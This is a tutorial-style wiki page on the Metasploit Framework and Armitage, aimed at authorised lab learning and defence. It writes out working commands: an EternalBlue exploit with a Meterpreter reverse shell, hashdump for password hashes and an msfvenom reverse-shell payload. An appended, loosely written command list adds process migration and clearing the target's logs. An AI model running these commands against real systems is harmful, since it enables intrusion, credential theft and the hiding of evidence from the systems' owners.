Metasploit & Armitage

Here is the truth about Metasploit: it is a library of known doors and the tools to push them – useful in a lab and a liability anywhere you lack permission. The Framework is not magic; it packages other people’s vulnerability research into a consistent interface.

What it is, in plain words

The Metasploit Framework (open source, Rapid7) is a platform for developing, organising and running exploits. Core ideas:

Exploits – code that triggers a vulnerability.
Payloads – what runs after: Meterpreter, shells, add-user stubs.
Auxiliary modules – scanners, fuzzers, spoofers (no exploit required).
Post modules – privilege escalation, gathering, pivoting after a session.
Encoders / evasion – reshape payloads (not a free pass past modern AV).

You drive it with msfconsole, sometimes with msfvenom to generate standalone payloads. It belongs in an authorised lab – see Penetration Testing.

Why it matters

Metasploit teaches the anatomy of an exploit chain: target → module → options → payload → session → post. Defenders should recognise its traffic and fingerprints; attackers-in-training should learn how quickly unpatched software falls. It is also a reminder that “script kiddie tools” are often just well-engineered tools.

An everyday analogy: a locksmith’s ring

A locksmith carries keys that open many common locks. Metasploit is that ring for software. Having the key doesn’t make it legal to open someone else’s door.

flowchart LR
  R[Recon] --> M[Pick module]
  M --> O[Set RHOST / options]
  O --> E[exploit]
  E --> S[Session]
  S --> P[post modules]

A hands-on example (lab only)

# Kali / authorised lab VM
msfconsole -q

msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > set RHOSTS 192.168.56.30
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.10
msf6 > exploit

Against a deliberately vulnerable target on a host-only network. When a Meterpreter session opens:

meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump          # only if in scope

Generate a payload for a custom drill:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f elf -o /tmp/pay.elf

Again: only on systems you own or have written permission to test.

Defensive takeaways

If you run systems for real:

patch, especially anything internet-facing that ever appeared in an MSF module;
watch for default Meterpreter ports and obvious shellcode patterns in IDS;
assume scanners will find RDP, SMB and ancient web apps – close or shield them;
log auth and process creation so “post” modules leave footprints.

Running Metasploit against your own lab once a year teaches more about your exposure than a shelf of unread CVE emails.

Common misconceptions

“Metasploit equals hacking skill.” It equals access to modules. Skill is knowing when they apply, when they fail, and what to do next.
“Payloads are invisible.” Modern EDR sees a lot. Lab success ≠ production stealth.
“Auxiliary modules are harmless.” Scans can crash fragile systems. Scope still applies.
“It’s only for Windows.” There are modules across OSes, web apps and protocols.
“Armitage/Cobalt Strike are Metasploit.” Related ecosystem; different tools and licences.

Organising a learning path

Finish a legal lab install (two VMs, host-only network).
Work through auxiliary scanners before exploits – see what noise you generate.
Use one exploit end-to-end; write notes as if you owed a client a report.
Re-do the same target by hand (curl, python, gdb) so MSF isn’t a black box.
Only then explore post modules and pivoting – still inside the lab.

Metasploit is a force multiplier after fundamentals, not a substitute for them.

Setting up a legal lab in 2026

Never point Metasploit at anything you do not own or have written permission to test. Build a lab that is yours:

# On your own machine, an isolated host-only network, two VMs:
#   attacker:  Kali or a Void box with metasploit-framework
#   target:    an intentionally vulnerable image you downloaded on purpose
#              (Metasploitable 3, or a deliberately old VulnHub box)

msfconsole -q
msf6 > db_status                      # make sure PostgreSQL is connected
msf6 > workspace -a homelab           # keep engagements separate
msf6 > setg RHOSTS 10.10.10.5         # the target VM, on the host-only net
msf6 > search type:exploit platform:linux samba

The modern Metasploit stores everything in PostgreSQL, so hosts, services and loot build a picture of the lab as you work. msfvenom generates standalone payloads for testing detection; msfdb init sets the database up the first time.

Why study it at all

Blue teams learn Metasploit to understand what the alerts in their intrusion-detection systems actually mean. If you have never seen a Meterpreter session open, the log line that reveals one means nothing to you. Running the attack in a lab, against a target you built to be broken, is how defenders learn to recognise the real thing. That is the only reason this page exists.

Common misconceptions, updated

“Metasploit is point-and-click hacking.” The famous one-click exploits target old, unpatched software. Against a patched 2026 system, most of the work is reconnaissance, chaining small issues and social engineering, not firing a single module.
“Antivirus will catch the payload.” Default payloads are well known and usually caught. That is a feature for learning detection, not evidence the technique is dead.
“A shell is the goal.” On a real engagement the goal is a written report that helps the owner fix things. The shell is a step, not the prize.

Connections

Penetration Testing, Exploitation, Enumeration.
Computer Security, Linux Security.
VirtualBox – build the lab first.

Some commands to operate metasploit:

search netapi

use exploit ms08

set payload window/meterpreter/bind_tcp

show options

set RHOST target_ip

exploit

meterpreter> getpid

ps

select any legitimate process and its PID

migrate PID

?

finally clear all logs on the target

clearev

Tools - Reading List

msfconsole is used to start metasploit
Metasploit Unleashed a free course which is a must do
armitage - a frontend gui